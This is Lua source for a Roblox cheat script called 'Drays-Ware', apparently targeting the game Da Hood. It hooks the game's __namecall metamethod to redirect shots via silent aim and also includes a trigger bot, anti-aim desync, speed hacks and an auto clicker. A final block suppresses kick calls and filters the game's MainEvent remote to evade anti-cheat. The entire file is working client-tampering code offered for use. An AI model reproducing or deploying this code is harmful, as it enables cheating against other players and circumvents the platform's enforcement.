function CameraCheck(GetPosition, IgnoredList) if IsNetwork(LocalPlayer) then return #CurrentCamera:GetPartsObscuringTarget({LocalPlayer.Character.Head.Position, GetPosition}, IgnoredList) == 0 and true or false end end
function WallCheck(OriginPart, Part) if IsNetwork(LocalPlayer) then local IgnoreList = {CurrentCamera, LocalPlayer.Character, OriginPart.Parent} local Parts = CurrentCamera:GetPartsObscuringTarget( { OriginPart.Position, Part.Position }, IgnoreList )
for i, v in pairs(Parts) do
if v.Transparency >= 0.3 then
DrayStorage.Instance[#DrayStorage.Instance + 1] = v
end
if v.Material == Enum.Material.Glass then
DrayStorage.Instance[#DrayStorage.Instance + 1] = v
end
end
return #Parts == 0
end
return true
end
function NilBody() if Alive(LocalPlayer) then for i, v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") or v:IsA("Part") or v:IsA("MeshPart") then if v.Name ~= "HumanoidRootPart" then v:Destroy() end end end end end
function NearestDistance() local Target = nil local Distance = math.huge for i, v in next, Players:GetPlayers() do if v ~= LocalPlayer and Alive(LocalPlayer) and Alive(v) then local DistanceFromPlayer = (v.Character.HumanoidRootPart.Position - LocalPlayer.Character.HumanoidRootPart.Position).Magnitude if Distance > DistanceFromPlayer then if (not DraysSettings.Whitelist.FriendsWhitelist or not table.find(DraysSettings.Whitelist.Friends, v.Name)) and (not DraysSettings.Whitelist.CrewEnabled or v:FindFirstChild("DataFolder") and v.DataFolder.Information:FindFirstChild("Crew") and not tonumber(v.DataFolder.Information.Crew.Value) == tonumber(LocalPlayer.DataFolder.Information.Crew.Value)) and (not DraysSettings.Whitelist.Enabled or not table.find(DraysSettings.Whitelist.Players, v.Name)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(v.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Target = v Distance = DistanceFromPlayer end end end end
return Target, Distance
end
function NearestMouse() local Target = nil local Distance = math.huge for i, v in next, Players:GetPlayers() do if v ~= LocalPlayer and Alive(LocalPlayer) and Alive(v) then local RootPosition, RootVisible = CurrentCamera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position) local DistanceFromMouse = (Vector2.new(RootPosition.X, RootPosition.Y) - Vector2.new(Mouse.X, Mouse.Y)).Magnitude if RootVisible and Distance > DistanceFromMouse then if (not DraysSettings.Whitelist.FriendsWhitelist or not table.find(DraysSettings.Whitelist.Friends, v.Name)) and (not DraysSettings.Whitelist.CrewEnabled or v:FindFirstChild("DataFolder") and v.DataFolder.Information:FindFirstChild("Crew") and not tonumber(v.DataFolder.Information.Crew.Value) == tonumber(LocalPlayer.DataFolder.Information.Crew.Value)) and (not DraysSettings.Whitelist.Enabled or not table.find(DraysSettings.Whitelist.Players, v.Name)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(v.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Target = v Distance = DistanceFromMouse end end end end
return Target, Distance
end
function NearestType(Type) if Type == "Distance" then return NearestDistance() elseif Type == "Mouse" then return NearestMouse() end end
function ChanceTable(Table) local Chance = 0 for i, v in pairs(Table) do Chance = Chance + v end Chance = math.random(0, Chance) for i, v in pairs(Table) do Chance = Chance - v if Chance <= 0 then return i end end end
function RandomTable(Table) local Values = 0 for i, v in pairs(Table) do Values = i end
return Table[math.random(1, Values)]
end
local Plr local Pos local enabled = false local placemarker = Instance.new("Part", game.Workspace)
function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 1, 0) a.Transparency = 0 a.BackgroundTransparency = 0 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(50, 50) return(e) end
spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(8, 8, 8) placemarker.Transparency = 0.79 makemarker(placemarker, placemarker, DraysSettings.SilentAim.DOTColor, 0.40, 0) end)
getgenv().islocked = false Mouse.KeyDown:connect(function(key) if key:lower() == getgenv().SilentKeyy then if getgenv().islocked == false and DraysSettings.SilentAim.Enabled and DraysSettings.SilentAim.UseFOV == false then if enabled == true then else enabled = true end getgenv().islocked = true if DraysSettings.SilentAim.UseNearestDistance then local NearestTarget, NearestPos = NearestDistance() if NearestTarget and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > NearestPos) and (not DraysSettings.SilentAim.KnockedCheck or not Knocked(NearestTarget)) and (not DraysSettings.SilentAim.grabbedCheck or not Grabbed(NearestTarget)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(NearestTarget.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Plr = NearestDistance() Pos = NearestPos end else local NearestTarget, NearestPos = NearestMouse() if NearestTarget and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > NearestPos) and (not DraysSettings.SilentAim.KnockedCheck or not Knocked(NearestTarget)) and (not DraysSettings.SilentAim.grabbedCheck or not Grabbed(NearestTarget)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(NearestTarget.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Plr = NearestMouse() Pos = NearestPos end end if DraysSettings.SilentAim.NotificationMode and Plr ~= game.Players.LocalPlayer then Notify({ Title = "Drays-Ware", Description = "Locked Onto: "..Plr.DisplayName, Duration = 3 }) end elseif getgenv().islocked == true and DraysSettings.SilentAim.Enabled then getgenv().islocked = false enabled = false Plr = game.Players.LocalPlayer if DraysSettings.SilentAim.NotificationMode then Notify({ Title = "Drays-Ware", Description = "Unlocked", Duration = 3 }) end end end end)
--//Random Hitbox local DraysHitBoxes = { "Head","UpperTorso","LowerTorso" }
game:GetService("RunService").Heartbeat:Connect(function() if DraysSettings.AntiAim.Enabled == true and DraysSettings.AntiAim.Desync == true then game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * DraysSettings.AntiAim.DesyncValues.Velocity game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.Angles(0, math.rad(DraysSettings.AntiAim.DesyncValues.CFrame), 0) end -- Anti Aim Desync if DraysSettings.Misc.Antislow then getgenv().DeletePart = game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild('NoJumping') or player.Character.BodyEffects.Movement:FindFirstChild('ReduceWalk') or player.Character.BodyEffects.Movement:FindFirstChild('NoWalkSpeed') if getgenv().DeletePart then getgenv().DeletePart:Destroy() end if game.Players.LocalPlayer.Character.BodyEffects.Reload.Value == true then game.Players.LocalPlayer.Character.BodyEffects.Reload.Value = false end end -- Anti Slow if DraysSettings.Misc.CFrameSpeed.Bhop and LocalPlayer.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Freefall then LocalPlayer.Character.Humanoid:ChangeState("Jumping") end -- Bhop if DraysSettings.Misc.Strafe then if LocalPlayer.Character.Humanoid.MoveDirection.Magnitude > 0 and LocalPlayer.Character.Humanoid:GetState() == Enum.HumanoidStateType.Freefall then LocalPlayer.Character:TranslateBy(LocalPlayer.Character.Humanoid.MoveDirection / 3.1) end end -- Strafe if DraysSettings.SilentAimSettings.PingPred1 and DraysSettings.SilentAim.Enabled then getgenv().ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() getgenv().Value = tostring(getgenv().ping) getgenv().pingValue = getgenv().Value:split(" ") local PingNumber = getgenv().pingValue[1] getgenv().PredictionAmmount = PingNumber / 1000 + getgenv().Prediction print(getgenv().PredictionAmmount) end -- Ping Prediction 1 if DraysSettings.SilentAimSettings.PingPred2 and not DraysSettings.SilentAimSettings.PingPred1 and DraysSettings.SilentAim.Enabled then pingvalue = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() split = string.split(pingvalue,'(') ping = tonumber(split[1]) if ping < 130 then PredictionValue = 0.151 elseif ping < 125 then PredictionValue = 0.149 elseif ping < 110 then PredictionValue = 0.146 elseif ping < 105 then PredictionValue = 0.138 elseif ping < 90 then PredictionValue = 0.136 elseif ping < 80 then PredictionValue = 0.134 elseif ping < 70 then PredictionValue = 0.131 elseif ping < 60 then PredictionValue = 0.1229 elseif ping < 50 then PredictionValue = 0.1225 elseif ping < 40 then PredictionValue = 0.1256 end end -- Ping Prediction 2 if DraysSettings.SilentAim.ShowFOV then SilentAimFOV.Visible = true SilentAimFOV.Radius = DraysSettings.FOV.SilentAimSize SilentAimFOV.Filled = DraysSettings.FOV.FOVFilled SilentAimFOV.Transparency = DraysSettings.FOV.Transparency SilentAimFOV.NumSides = 100 SilentAimFOV.Thickness = DraysSettings.FOV.Thickness SilentAimFOV.Color = DraysSettings.SilentAim.FOVColor SilentAimFOV.Position = Vector2.new(Mouse.X, Mouse.Y + GuiInset.Y) else SilentAimFOV.Visible = false end -- fov if DraysSettings.TriggerBot.Enabled then for i, v in next, Players:GetPlayers() do if Alive(v) then if Mouse.Target:IsDescendantOf(v.Character) and DraysSettings.TriggerBot.Enabled == true then mouse1press() wait() mouse1release() wait(DraysSettings.TriggerBot.DelayAmount) end end end end -- tb if DraysSettings.SilentAim.UseFOV == true and DraysSettings.SilentAim.Enabled then wait() enabled = true if DraysSettings.SilentAim.UseNearestDistance then local NearestTarget, NearestPos = NearestDistance() if NearestTarget and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > NearestPos) and (not DraysSettings.SilentAim.KnockedCheck or not Knocked(NearestTarget)) and (not DraysSettings.SilentAim.grabbedCheck or not Grabbed(NearestTarget)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(NearestTarget.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Plr = NearestDistance() Pos = NearestPos end else local NearestTarget, NearestPos = NearestMouse() if NearestTarget and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > NearestPos) and (not DraysSettings.SilentAim.KnockedCheck or not Knocked(NearestTarget)) and (not DraysSettings.SilentAim.grabbedCheck or not Grabbed(NearestTarget)) and (not DraysSettings.SilentAim.WallCheck or WallCheck(NearestTarget.Character.HumanoidRootPart, LocalPlayer.Character.HumanoidRootPart)) then Plr = NearestMouse() Pos = NearestPos end end end -- use fov if DraysSettings.SilentAim.Enabled and enabled and Plr.Character and Plr.Character:FindFirstChild("HumanoidRootPart") and Plr ~= game.Players.LocalPlayer and DraysSettings.SilentAim.ShowHitbox then if DraysSettings.SilentAim.RandomHitbox then placemarker.CFrame = CFrame.new(Plr.Character[RandomTable(DraysHitBoxes)].Position + (Plr.Character[RandomTable(DraysHitBoxes)].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount)) else placemarker.CFrame = CFrame.new(Plr.Character[DraysSettings.SilentAim.Hitboxes].Position + (Plr.Character[DraysSettings.SilentAim.Hitboxes].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount)) end else placemarker.CFrame = CFrame.new(0, 9999, 0) end -- hitbox / dot if getgenv().LegitAA then if DraysSettings.AntiAim.FPSUnlocked == true then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.Humanoid.MoveDirection * -0.3 else game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.Humanoid.MoveDirection * -0.5 end end -- legit aa if getgenv().CFSpeed then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.Humanoid.MoveDirection * DraysSettings.Misc.CFrameSpeed.Speed end -- cfspeed if getgenv().Clicking then mouse1click() wait(0.001) end -- auto clciker end)
if game.PlaceId == 5602055394 then -- da hood modded local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) --// LPH JIT local args = {...} if DraysSettings.SilentAim.Enabled and ChanceTable(DraysSettings.SilentAimSettings.HitChanceAmount) == "HitPercent" and enabled and Plr ~= game.Players.LocalPlayer and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > Pos) and getnamecallmethod() == "FireServer" and args[2] == "MousePos" then if DraysSettings.SilentAim.RandomHitbox then args[3] = Plr.Character[RandomTable(DraysHitBoxes)].Position + (Plr.Character[RandomTable(DraysHitBoxes)].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount) else args[3] = Plr.Character[DraysSettings.SilentAim.Hitboxes].Position + (Plr.Character[DraysSettings.SilentAim.Hitboxes].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount) end return old(unpack(args)) end return old(...) end) else -- da hood local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) --// LPH JIT local args = {...} if DraysSettings.SilentAim.Enabled and ChanceTable(DraysSettings.SilentAimSettings.HitChanceAmount) == "HitPercent" and enabled and Plr ~= game.Players.LocalPlayer and (not DraysSettings.SilentAim.UseFOV or DraysSettings.FOV.SilentAimSize > Pos) and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then if DraysSettings.SilentAim.RandomHitbox then args[3] = Plr.Character[RandomTable(DraysHitBoxes)].Position + (Plr.Character[RandomTable(DraysHitBoxes)].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount) else args[3] = Plr.Character[DraysSettings.SilentAim.Hitboxes].Position + (Plr.Character[DraysSettings.SilentAim.Hitboxes].Velocity * DraysSettings.SilentAimSettings.MovementPredictionAmount) end return old(unpack(args)) end return old(...) end) end
--// Anti game.Players.LocalPlayer.Character:WaitForChild("FULLY_LOADED_CHAR") local gm = getrawmetatable(game) setreadonly(gm, false) local namecall = gm.__namecall gm.__namecall = newcclosure( function(self, ...) local args = {...} if not checkcaller() and getnamecallmethod() == "FireServer" and tostring(self) == "MainEvent" then if tostring(getcallingscript()) ~= "Framework" then return end end if not checkcaller() and getnamecallmethod() == "Kick" then return end return namecall(self, unpack(args)) end)